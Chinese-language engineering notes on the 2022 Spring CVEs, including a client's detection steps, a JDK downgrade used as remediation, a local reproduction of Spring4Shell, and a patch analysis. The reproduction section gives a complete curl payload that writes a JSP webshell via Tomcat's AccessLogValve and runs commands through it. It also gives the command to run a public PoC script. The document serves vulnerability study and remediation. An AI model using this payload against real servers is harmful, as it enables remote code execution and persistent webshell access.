CVE漏洞编号:

Data Binding Rules  (CVE-2022-22968)、Spring4Shell (CVE-2022-22965) 、Spring Cloud (CVE-2022-22963)、spring expression (CVE-2022-22950)

– CVE-2022-22963

  • CVSS 分数 (VMware) = 5.4

  • 描述:在 Spring Cloud Function 版本 3.1.6、3.2.2 和更旧的不受支持的版本中,当使用路由功能时,用户可以提供特制的 SpEL 作为可能导致访问本地资源的路由表达式。

  • 缓解:受影响版本的用户应升级到spring cloud function 3.1.7、3.2.3。不需要其他步骤。

  • 适用性:不适用于 Windchill 或 FlexPLM。没有影响。

  • 报告时间:2022-03-29

  • 官网:https://tanzu.vmware.com/security/cve-2022-22963

– CVE-2022-22950

  • CVSS 分数 (VMware) = 5.4

  • 描述:在 Spring Framework 版本 5.3.0 - 5.3.16 和不受支持的旧版本中,用户可以提供特制的 SpEL 表达式,这可能会导致拒绝服务条件。

  • 缓解:受影响版本的用户应升级到 spring framework 5.3.17+、5.2.20+。不需要其他步骤。

  • 适用性:见分辨率

  • 报告时间:2022-03-28

  • 官网:https://tanzu.vmware.com/security/cve-2022-22950

– CVE-2022-22965 (Spring4Shell)

  • CVSS 分数(黑鸭):9.8(临界)

  • 描述:在 JDK 9+ 上运行的 Spring MVC 或 Spring WebFlux 应用程序可能容易受到通过数据绑定的远程代码执行 (RCE) 的攻击。具体的利用需要应用程序作为 WAR 部署在 Tomcat 上运行。如果应用程序被部署为 Spring Boot 可执行 jar,即默认值,则它不易受到漏洞利用。但是,该漏洞的性质更为普遍,可能还有其他方法可以利用它。

  • 缓解措施:更新到 Spring Framework 5.3.18、5.2.20

  • 适用性:见分辨率

  • 报告时间:2022-03-31

  • 官网:https://tanzu.vmware.com/security/cve-2022-22965

– CVE-2022-22968

  • CVSS 分数(黑鸭):3.7(临界)

  • 描述:在 Spring Framework 版本 5.3.0 - 5.3.18、5.2.0 - 5.2.20 和不受支持的旧版本中,DataBinder 上的 disallowedFields 模式是区分大小写的,这意味着除非字段同时列出字段的第一个字符小写,包括属性路径中所有嵌套字段的第一个字符的大写和小写。

  • 缓解措施:更新到 Spring Framework 5.3.19、5.2.21

  • 适用性:见分辨率

  • 报告时间:2022-04-13

  • 官网:https://tanzu.vmware.com/security/cve-2022-22968

客户现场安全团队告知项目需要检查时间(2022-04-01、2022-04-02)

具体检查方式(汇丰前海):

1
2
3
4
5
6
7
8
9
10
11
12
13
JDK 版本号排查
在业务系统的运行服务器上,执行“java -version”命令查看运 行的 JDK 版本,如果版本号小于等于 8,则不受漏洞影响。

Spring 框架使用情况排查
1. 如果业务系统项目以 war 包形式部署,按照如下步骤进行判断。
解压 war 包:将 war 文件的后缀修改成.zip ,解压 zip 文件
在解压缩目录下搜索是否存在 spring-beans-.jar 格式的 jar 文 件(例如 spring-beans-5.3.16.jar),如存在则说明业务系统使用了 spring 框架进行开发。
如果 spring-beans-.jar 文件不存在,则在解压缩目录下搜索CachedIntrospectionResuLts.class 文件是否存在,如存在则说明业 务系统使用了 Spring 框架开发。

2. 如果业务系统项目以 jar 包形式直接独立运行,按照如下步骤进行 判断。
解压 jar 包:将 jar 文件的后缀修改成.zip,解压 zip 文件。
在解压缩目录下搜索是否存在 spring-beans-.jar 格式的 jar 文件 (例如 spring-beans-5.3.16.jar),如存在则说明业务系统使用了 spring 框架进行开发。
如果 spring-beans-.jar 文件不存在,则在解压缩目录下搜索 CachedIntrospectionResuLts.class 文件是否存在,如存在则说明业 务系统使用了 spring 框架进行开发。

剑阁大部分项目都是使用spring boot框架的项目,会依赖spring framework的框架,但大部分项目的java运行环境为1.8,所以不受此次漏洞影响的范围内。除了上面提到的即时通讯项目,该项目依赖运维的java环境版本为11,所以是受此次漏洞影响的。提到的严重安全漏洞是指CVE-2022-22965 (Spring4Shell)。

即时通讯项目maven配置说明:

libs下面的spring-beans查看:

解决分析:

1.将org.springframework.boot进行升级成官网最新的版本2.6.7,默认引用的springframwork为5.3.19,是可以解决Spring4Shell的问题的。

但是springboot-2.6.x版本和springboot-1.5.x版本相差了7个大版本,升级难度比较大。

2.实际当时尝试了下升级,项目未能正常启动,由于客户那边这种问题优先级很高,解决方案处理不能花费太久,且客户那边同意做jdk版本的降级处理,故采用了jdk版本从11降到了8去解决,具体降级产生并处理过的问题整理可参考 :即时通讯将jdk11降级为jdk8遇到的问题

漏洞复现CVE-2022-22965 (Spring4Shell):

操作系统:macOS

jdk版本:11.0.14

tomcat版本:9.0.54

springboot版本:2.6.3

springframewor版本:5.3.15

1.创建一个springboot项目,framework版本在漏洞范围之内,选用war包的方式。

本地项目代码位置: ~/workspace/owner/springframework-flaw

1.用IDE创建一个springboot的项目,jdk版本为11,选用war的方式。

2.官方维护版本只有2.6.7和2.5.13了,创建完成之后在修改成老版本,勾选spring web框架

3.在生成的pom里面将spring-boot-parent的版本改为2.6.3,改完之后重新同步拉取下maven仓库

4.创建一个类,用RequestMapping暴露出接口,如下图所示:

5.用maven打成war包,放到tomcat的webapps底下,然后启动项目。

6.用curl方式或者用python的方式注入shell脚本

1
2
3
4
5
6
7
8
#用curl方式 脚本来源:https://www.infoq.cn/article/yKWU6v6UktvAtvxVvQ2W 原始脚本没有写c1,c2替换的参数,并且从网站上考下来的脚本换行导致了参数没有正确decode,用mac的终端执行下面命令
curl -v -H 'suffix:%>//' -H 'c1:Runtime' -H 'c2:<%' -d "class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!=-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=" http://localhost:8080/springframework-flaw/rapid7
#执行完成之后,webapps下面会出现一个ROOT下的文件夹,里面有tomcatwar.jsp文件,然后在浏览器里面执行这个jsp的请求,输入对应参数的shell脚本就能执行。
http://localhost:8081/tomcatwar.jsp?pwd=j&cmd=pwd

#用python的方式 脚本来源https://github.com/BobTheShoplifter/Spring4Shell-POC/blob/0c557e85ba903c7ad6f50c0306f6c8271736c35e/poc.py 将此内容复制到本地py文件中,此文件的目录在~/config/python/poc.py,用mac的终端执行下面命令
python3 poc.py --url http://localhost:8080/springframework-flaw/rapid7
#执行完成之后,现场和后续执行shell方式和上面一致

curl调用方式:

浏览器里面执行shell命令

用python命令执行:

遇到问题:

1.试错,参考博客重试了很多次。

2.python3执行脚本时出错,没有引用到requests

错误提示:ModuleNotFoundError: No module named ‘requests’

解决:安装下python3的requests的包。执行:pip3 install requests。完成后再次执行py脚本即可。

3.使用tomcat7启动上面的项目会提示:Unable to start web server; nested exception is java.lang.NoClassDefFoundError: javax/servlet/http/HttpSessionIdListener。

日志报错:

解决:查看servlet-api的版本和tomcat版本的对应关系

项目里面servlet-api的版本:

没有找到servlet的lib包,发现项目里面引用的是tomcat的包,版本为9.0.56,所以替换成了tomcat9即解决了该问题

参考博客:

https://www.ptc.com/en/support/article/CS366379-- spring近期CVE漏洞整理文章

https://spring.io/blog – spring官网博客

https://icode.best/i/60657546206890 –检查java项目是否存在spring4shell漏洞文章(4.1发布)

https://xxc.xidian.edu.cn/info/1183/1752.htm –检查java项目是否存在spring4shell漏洞文章(4.2发布)

https://www.infoq.cn/article/yKWU6v6UktvAtvxVvQ2W--漏洞复现参考博客

https://paper.seebug.org/1877/--漏洞复现参考博客(不错的文章)

https://www.justzz.com/7706.html--curl 设置请求头参考博客

https://blog.csdn.net/thewindkee/article/details/118419817--解决问题3的参考博客

https://github.com/Axx8/SpringFramework_CVE-2022-22965_RCE/blob/main/SpringFramework_CVE-2022-22965_RCE.py--另外的python脚本有时间研究下

原理整理:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
1.利用springmvc的参数绑定来获取到对应对象类的方法
class.module.classLoader.resources.context.parent.pipeline.first.pattern最后能解析为org.apache.catalina.valves.AccessLogValve.setPattern()
class.module.classLoader.resources.context.parent.pipeline.first.suffix最后解析为
org.apache.catalina.valves.AccessLogValve.setSuffix()
class.module.classLoader.resources.context.parent.pipeline.first.directory最后解析为org.apache.catalina.valves.AccessLogValve.setDirectory()
class.module.classLoader.resources.context.parent.pipeline.first.prefix最后解析为org.apache.catalina.valves.AccessLogValve.setPrefix()
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat最后解析为org.apache.catalina.valves.AccessLogValve.setFileDateFormat()
通过请求传入参数,利用SpringMVC参数绑定机制,把控Tomcat的AccessLogValue的属性,让Tomcat在webapps/ROOT目录输出定制的"访问日志"tomcatwar.jsp,该"访问日志"实际上为一个JSP webshell

漏洞利用关键点一
从java.lang.Module到org.apache.catalina.loader.ParallelWebappClassLoader,是将调用链转移到Tomcat,并最终利用AccessLogValve输出webshell的关键。
war包里面可以获取Tomcat的ParallelWebappClassLoader,如果是jar包,classLoader就会被解析为org.springframework.boot.loader.LaunchedURLClassLoader里面就没有getResources()方法了
漏洞利用关键点二
在前面章节中AbstractNestablePropertyAccessor nestedPa = getNestedPropertyAccessor(nestedProperty);调用的过程中,实际上Spring做了一道防御。
Spring使用org.springframework.beans.CachedIntrospectionResults缓存并返回Java Bean中可以被BeanWrapperImpl使用的PropertyDescriptor。在CachedIntrospectionResults第289行构造方法中:

1
该行的意思是:当Bean的类型为java.lang.Class时,不返回classLoader和protectionDomain的PropertyDescriptor。Spring在构建嵌套参数的调用链时,会根据CachedIntrospectionResults缓存的PropertyDescriptor进行构建:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
不返回,也就意味着class.classLoader...这种嵌套参数走不通,即形如下方的调用链:
Foo.getClass()
java.lang.Class.getClassLoader()
BarClassLoader.getBaz()
......

这在JDK<=1.8都是有效的。但是在JDK 1.9之后,Java为了支持模块化,在java.lang.Class中增加了module属性和对应的getModule()方法,自然就能通过如下调用链绕过判断:
Foo.getClass()
java.lang.Class.getModule() // 绕过
java.lang.Module.getClassLoader()
BarClassLoader.getBaz()
......

补丁分析:
spring 5.3.18代码升级:
进入该提交,可以看到对CachedIntrospectionResults构造函数中Java Bean的PropertyDescriptor的过滤条件被修改了:当Java Bean的类型为java.lang.Class时,仅允许获取name以及Name后缀的属性描述符。在章节3.2.2 关键点二:JDK版本中,利用java.lang.Class.getModule()的链路就走不通了。

1
2
tomcat 9.0.62补丁:
进入该提交,可以看到对getResource()方法的返回值做了修改,直接返回null。WebappClassLoaderBase即ParallelWebappClassLoader的父类,在章节3.2.1 关键点一:Web应用部署方式中,利用org.apache.catalina.loader.ParallelWebappClassLoader.getResources()的链路就走不通了。